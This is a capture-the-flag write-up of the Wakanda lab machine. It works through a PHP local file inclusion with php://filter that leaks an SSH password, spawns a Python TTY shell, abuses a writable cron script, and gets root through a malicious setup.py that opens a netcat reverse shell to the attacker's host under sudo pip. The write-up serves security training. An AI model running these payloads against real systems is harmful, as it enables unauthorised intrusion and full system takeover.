Back to Posts

Wakanda CTF

Posted in CTF

Wakanda

Initial nmap scan…

PORT     STATE    SERVICE VERSION
80/tcp   open     http    Apache httpd 2.4.10 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Vibranium Market
111/tcp  open     rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          38434/udp  status
|_  100024  1          43564/tcp  status
514/tcp  filtered shell
3333/tcp open     ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 1c:98:47:56:fc:b8:14:08:8f:93:ca:36:44:7f:ea:7a (DSA)
|   2048 f1:d5:04:78:d3:3a:9b:dc:13:df:0f:5f:7f:fb:f4:26 (RSA)
|   256 d8:34:41:5d:9b:fe:51:bc:c6:4e:02:14:5e:e1:08:c5 (ECDSA)
|_  256 0e:f5:8d:29:3c:73:57:c7:38:08:6d:50:84:b6:6c:27 (ED25519)


Nothing sticks out on the primary http page after a quick glance, nor does port 514 give us any info using netcat.

After a running dirb a few directories lead us nowhere, although it seems our target is running php

+ http://192.168.30.12/admin (CODE:200|SIZE:0)
+ http://192.168.30.12/backup (CODE:200|SIZE:0)
+ http://192.168.30.12/index.php (CODE:200|SIZE:1527)
+ http://192.168.30.12/secret (CODE:200|SIZE:0)
+ http://192.168.30.12/server-status (CODE:403|SIZE:301)
+ http://192.168.30.12/shell (CODE:200|SIZE:0)


LFI & curl-fu

Using curl on index.php an interesting commented field shows up:

<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->


Looks like a possible LFI vector seen in the past. Appending this parameter to the end of index.php seems to convert the language from English to French.

curl http://192.168.30.12/index.php?lang=fr 
…snip…       
<p class="lead">
          Prochaine ouverture du plus grand marché du vibranium. Les produits viennent directement du wakanda. Restez à l'écoute!     
…snip…


Similar to other web apps, when a new language file is added as a parameter - in this case a php file - it will execute and write the output to the user. With this logic, the file fr.php should exist right?

root@kali:/# curl -i http://192.168.30.12/fr.php
HTTP/1.1 200 OK
Date: Mon, 12 Nov 2018 15:18:35 GMT
Server: Apache/2.4.10 (Debian)
Content-Length: 0
Content-Type: text/html; charset=UTF-8


Looks like it exists, so it seems the index.php is appending .php to the lang parameter. We know index.php exists, so what happens if we add index as the parameter?

root@kali:/# curl -is http://192.168.30.12/index.php?lang=index |head -1 
HTTP/1.0 500 Internal Server Error


Now how about something random?

root@kali:/# curl -is http://192.168.30.12/index.php?lang=blah |head -1 
HTTP/1.1 200 OK


Great, so now we can safely assume index.php will append .php to the lang parameter.

After trying a few different php wrappers, one seemed to stick - php://filter. This wrapper allows the user to include a local file and view it as encoded base64.

When the contents of index.php are converted to base64 and displayed in your web browser, the PHP service will not process this server side, allowing you to read the full contents of the encoded php file.

In the real-world instances, web servers may have credentials store in these php files to authenticate with backend services, such as MySQL. A default WordPress config is a great example of this in which the required php file of wp-config.php contains the FTP credentials - example:

…snip…
define( 'FTP_USER', 'myftpuser' );
define( 'FTP_PASS', 'Hunter2!' );
define( 'FTP_HOST', '192.168.3.14:21' );


Anyway, moving on. Using the php://filter wrapper we’ll try to encode index.php to Base64.

curl http://192.168.30.12/index.php?lang=php://filter/convert.base64-encode/resource=index
PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZS…..snip….

Now, we’ll copy this lump of encoded junk and decode.

echo PD9waHAKJHBhc3N3b3Jk…snip… |base64 --decode
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
…


Just like the real-world example, it seems a precious password is stored within this php file. What next? Wasn’t SSH open on port 3333? Did you notice a possible username or bogus twitter handle on the homepage?

Great, let’s try to ssh…

Initial Shell

root@kali:~# ssh mamadou@192.168.30.12 -p 3333
mamadou@192.168.30.12's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug  3 15:53:29 2018 from 192.168.56.1
Python 2.7.9 (default, Jun 29 2016, 13:08:31) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>

Looks like a successful login, now what’s this, a Python shell? To spawn a TTY shell using Python an attacker may use:

python -c 'import pty; pty.spawn("/bin/bash")'  

Knowing this, we can try similar syntax, which does the trick.

import pty; pty.spawn("/bin/bash")


More Enum

After poking around manually a bit nothing really stood out besides another user called devops. Now we’ll wget linux private-i from our attacking machine to automate some PrivEsc enumeration…

mamadou@Wakanda1:~$ ./private-i.sh 
…snip...
[-] - /etc/passwd is World-Readable
[-] - /etc/shadow is neither world readable nor writable
[-] - /etc/sudoers is neither world readable nor writable
[-] - Mail in /var/mail/ is neither world readable nor writable
--------------------World-Writable Directories------------------------
PLEASE STAND BY ...
----------------------World-Writable Files----------------------------
/srv/.antivirus.py
/home/mamadou/private-i.sh
..snip..

Looks like a world-writable file, which a quick check will show is owned by user devops. Another route to go if you want to avoid dropping files on the target would be to search all files owned by devops.

mamadou@Wakanda1:/$ find / -user devops 2> /dev/null


Now taking a big leap here we’ll assume devops is executing this as a cron. Adding a python reverse shell and creating a simple netcat listener, we get a succesful reverse shell.

Pivot onto Root

Running private-i.sh again turns up not much more when previously executed, besides it looks like we have access to the built-in Exim command utility.

Using the same idea as above, we’ll search the root for all files owned by the devops group of developer.

$ find / -group developer 2> /dev/null
…
/usr/bin/pip

Looks like pip can be executed as devops? Do we have sudo privs? Running sudo -l verifies pip will execute as a super user. So if we create a bogus python package we can execute pip and get root, right?

Let’s try to create a simple python package. Going back to our stable shell and following some python package creation guides we can create the following:

mamadou@Wakanda1:/tmp$ mkdir boom; cd boom; mkdir boom
mamadou@Wakanda1:/tmp$ touch boom/setup.py; touch boom/boom/__init__.py 
mamadou@Wakanda1:/tmp$ vi boom/setup.py
import os; os.system("/bin/nc 192.168.30.14 4445 -e /bin/bash")
mamadou@Wakanda1:/tmp$ 

Now that it’s created, we can create our nc listener on port 4445, cross our fingers and fire off the payload via devops shell…

$ sudo pip install .

Listening….

root@kali:/var/log/apache2# nc -lvp 4445
listening on [any] 4445 ...
192.168.30.12: inverse host lookup failed: Unknown host
connect to [192.168.30.14] from (UNKNOWN) [192.168.30.12] 39024
whoami
root


That’s just great, we now have root.

¦̵̱ ̵̱ ̵̱ ̵̱ ̵̱(̢ ̡͇̅└͇̅┘͇̅ (▤8כ−◦

Read Next

Trusts & Security